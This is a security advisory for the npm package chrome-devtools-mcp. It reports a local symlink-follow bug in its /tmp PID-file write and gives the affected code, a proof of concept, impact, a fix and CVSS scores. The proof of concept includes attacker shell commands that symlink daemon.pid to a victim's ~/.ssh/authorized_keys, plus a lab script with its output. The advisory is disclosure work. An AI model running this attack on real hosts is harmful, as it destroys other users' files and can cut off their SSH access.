Skip to content

daemon.pid write follows symlinks in /tmp fallback runtime directory

Moderate
OrKoN published GHSA-3pvj-jv98-qhjq Jun 15, 2026

Package

npm chrome-devtools-mcp (npm)

Affected versions

>=0.20.0 <=1.0.1

Patched versions

1.1.0

Description

Summary

I originally reported this through Google Bug Hunters. The Google Bug Hunters team said this is in OSS VRP scope but not reward-eligible due to the project tier, and asked me to file an issue or PR directly with this repository. I am reporting it privately here first because it is an unfixed local symlink-follow issue.

The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid.

Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string.

This report is deliberately scoped to POSIX systems where the daemon falls back to /tmp: typical macOS environments and Linux sessions without $XDG_RUNTIME_DIR. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.

Details

Affected code:

src/daemon/daemon.ts:38-42

const pidFilePath = getPidFilePath(sessionId);
fs.mkdirSync(path.dirname(pidFilePath), {
  recursive: true,
});
fs.writeFileSync(pidFilePath, process.pid.toString());

src/daemon/utils.ts:49-68

export function getRuntimeHome(sessionId: string): string {
  const platform = os.platform();
  const uid = os.userInfo().uid;
  const suffix = sessionId ? `-${sessionId}` : '';
  const appName = APP_NAME + suffix;

  if (process.env.XDG_RUNTIME_DIR) {
    return path.join(process.env.XDG_RUNTIME_DIR, appName);
  }

  if (platform === 'darwin' || platform === 'linux') {
    return path.join('/tmp', `${appName}-${uid}`);
  }

  return path.join(os.tmpdir(), appName);
}

The /tmp sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under /tmp. If an attacker creates /tmp/chrome-devtools-mcp-<victim_uid>/ first and places a symlink at daemon.pid, the victim's daemon process follows that link when writing the PID.

Preconditions:

  • The victim is on a typical macOS environment where $XDG_RUNTIME_DIR is unset, or on a Linux system/session where $XDG_RUNTIME_DIR is unset.
  • The attacker has any local user account on the same host.
  • The victim later runs a chrome-devtools CLI path or MCP integration that starts daemon mode.

PoC

Realistic POSIX scenario:

# Attacker, before victim starts daemon mode.
victim_uid=1000
mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}"
chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}"
ln -s "/home/victim/.ssh/authorized_keys" \
      "/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid"

# Victim later starts daemon mode.
chrome-devtools start

# Result:
# fs.writeFileSync follows the symlink, so authorized_keys is truncated to
# the daemon PID string.

Lab-only PoC that touches only a fresh os.tmpdir()/cdtmcp-lab-* directory:

const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');

const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));

try {
  fs.chmodSync(lab, 0o755);

  const victimSecret = path.join(lab, 'victim-secret.txt');
  fs.writeFileSync(
    victimSecret,
    'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n',
  );

  const runtimeDir = path.join(lab, 'attacker-pre-created');
  fs.mkdirSync(runtimeDir, {recursive: true});

  const pidFilePath = path.join(runtimeDir, 'daemon.pid');
  fs.symlinkSync(victimSecret, pidFilePath);

  // Exact pattern from src/daemon/daemon.ts:39-42.
  fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});
  fs.writeFileSync(pidFilePath, process.pid.toString());

  console.log(fs.readFileSync(victimSecret, 'utf8'));
  // -> "<pid>"  (victim file was truncated/overwritten)
} finally {
  fs.rmSync(lab, {recursive: true, force: true});
}

Observed output from the lab PoC:

[setup] victim secret BEFORE attack:
  IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
[attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret>
[victim ran daemon] victim secret AFTER:
  <pid>
[lstat pidFile] still symlink
[outcome] victim file was overwritten via attacker-placed symlink.

I can provide the standalone pidfile_symlink_poc.cjs file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.

Impact

Who can exploit:

Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when $XDG_RUNTIME_DIR is unset for that user session.

Security impact:

  • Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string.
  • Availability: critical user configuration files can be corrupted until restored from backup.
  • Confidentiality: none directly; the written content is only the PID string.

Example targets affected by truncation:

  • ~/.ssh/authorized_keys, causing the victim to lose SSH access.
  • ~/.bashrc, ~/.zshrc, or ~/.profile, breaking shell startup.
  • Project .env, secrets.json, license files, or line-oriented config files.
  • Logs or local audit files writable by the victim.

Suggested fix:

Open the PID file with O_NOFOLLOW and validate runtime directory ownership/permissions before writing:

import {constants, openSync, writeSync, closeSync} from 'node:fs';

const fd = openSync(
  pidFilePath,
  constants.O_WRONLY |
    constants.O_CREAT |
    constants.O_TRUNC |
    constants.O_NOFOLLOW,
  0o600,
);
writeSync(fd, process.pid.toString());
closeSync(fd);

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

CVE ID

CVE-2026-53765

Weaknesses

Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. Learn more on MITRE.

Credits